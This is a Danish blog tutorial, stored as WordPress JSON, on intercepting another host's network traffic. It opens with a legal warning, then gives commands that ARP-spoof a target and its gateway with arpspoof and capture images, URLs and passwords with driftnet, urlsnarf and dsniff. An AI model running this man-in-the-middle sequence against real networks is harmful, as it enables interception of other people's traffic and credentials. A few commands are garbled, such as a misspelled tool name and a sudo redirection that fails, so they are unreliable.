{"id":493,"date":"2019-10-22T20:01:34","date_gmt":"2019-10-22T18:01:34","guid":{"rendered":"https:\/\/www.linuxboxen.dk\/?p=493"},"modified":"2019-10-22T20:01:34","modified_gmt":"2019-10-22T18:01:34","slug":"backtrack","status":"publish","type":"post","link":"https:\/\/www.linuxboxen.dk\/?p=493","title":{"rendered":"Backtrack"},"content":{"rendered":"

\"\"<\/p>\n

Med dsniff kan du se\/sniffe andre computers netv\u00e6rkstrafik.<\/h3>\n

Jeg vil f\u00f8rst advare om dette. Du m\u00e5 aldrig sniffe p\u00e5 andres netv\u00e6rk. \u00a0man straffes for fors\u00f8g p\u00e5 indtr\u00e6ngen. If\u00f8lge straffelovens \u00a721 omfatter “fors\u00f8g” ogs\u00e5 forberedelser til en forbrydelse. S\u00e5 lad v\u00e6r med det.<\/p>\n

S\u00e5 lad os komme igang.<\/p>\n

For at bruge funktionen skal du bruge nogle programmer. S\u00e5 vi starter med at installere dsniff.<\/p>\n

$ sudo apt install dsniff<\/pre>\n
Start med at \u00e5bne en bash shell<\/p>\n
check af ip forward er aktiv med<\/p>\n
$ cat \/proc\/sys\/net\/ipv4\/ip_forward<\/pre>\n
Skal give 1. Hvis den ikke g\u00f8r s\u00e6ttes det med med en echo som vist her.<\/p>\n
$ sudo echo 1 >> \/proc\/sys\/net\/ipv4\/ip_forward<\/pre>\n
Der efter. start screen som root.<\/p>\n
tryk ctrl + a\u00a0 derefter pipe tegnet | dette vil lave screen split<\/p>\n
derefter crtl + a + stort S for split igen.<\/p>\n
i f\u00f8rste terminal start<\/p>\n
Den xxx.xxx.xxx.xxx Er ip som den host du vil lave sniffing p\u00e5.<\/p>\n
yyy.yyy.yyy.yyy er den host du vil sniffe p\u00e5’s gateway<\/p>\n
$ sudo arpspoof -i eth0 -t xxx.xxx.xxx.xxx yyy.yyy.yyy.yyy<\/pre>\n
Skift terminal med ctrl + a + tab<\/p>\n
Og ctrl + a<\/p>\n
og ctrl + a + c for ny terminal<\/p>\n
Og i n\u00e6ste terminal.<\/p>\n
$ sudo arpspoof -i eth0 -t yyy.yyy.yyy.yyy (sniff host's gateway) xxx.xxx.xxx.xxx (den host du vil sniffe p\u00e5) \n<\/pre>\n
Og ctrl + a for ny tab<\/p>\n
og ctrl + c for ny terminal<\/p>\n
$ sudo drifnet -i eth0<\/pre>\n
drifnet er for snifff af billedere fra browser.<\/p>\n
$ urlsnarf -i eth0 for url sniffer<\/pre>\n
samt dsniff – password sniffer<\/p>\n
$ dsniff -i eth0<\/pre>\n
For at slutte af med<\/p>\n
$ killall arpspoof<\/pre>\n
<\/div>\n
<\/path><\/svg><\/i> \"Loading\"<\/p>\n
<\/div>\n","protected":false},"excerpt":{"rendered":"
Med dsniff kan du se\/sniffe andre computers netv\u00e6rkstrafik. Jeg vil f\u00f8rst advare om dette. Du m\u00e5 aldrig sniffe p\u00e5 andres netv\u00e6rk. \u00a0man straffes for fors\u00f8g p\u00e5 indtr\u00e6ngen. If\u00f8lge straffelovens \u00a721 omfatter “fors\u00f8g” ogs\u00e5 forberedelser til en forbrydelse. S\u00e5 lad v\u00e6r med det. S\u00e5 lad os komme igang. For at bruge funktionen skal du bruge nogle […]<\/p>\n
<\/div>\n
<\/path><\/svg><\/i> \"Loading\"<\/p>\n
<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_sitemap_exclude":false,"_sitemap_priority":"","_sitemap_frequency":"","footnotes":""},"categories":[8],"tags":[],"class_list":["post-493","post","type-post","status-publish","format-standard","hentry","category-shell"],"a3_pvc":{"activated":true,"total_views":11,"today_views":0},"_links":{"self":[{"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=\/wp\/v2\/posts\/493","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=493"}],"version-history":[{"count":0,"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=\/wp\/v2\/posts\/493\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=493"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=493"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.linuxboxen.dk\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=493"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}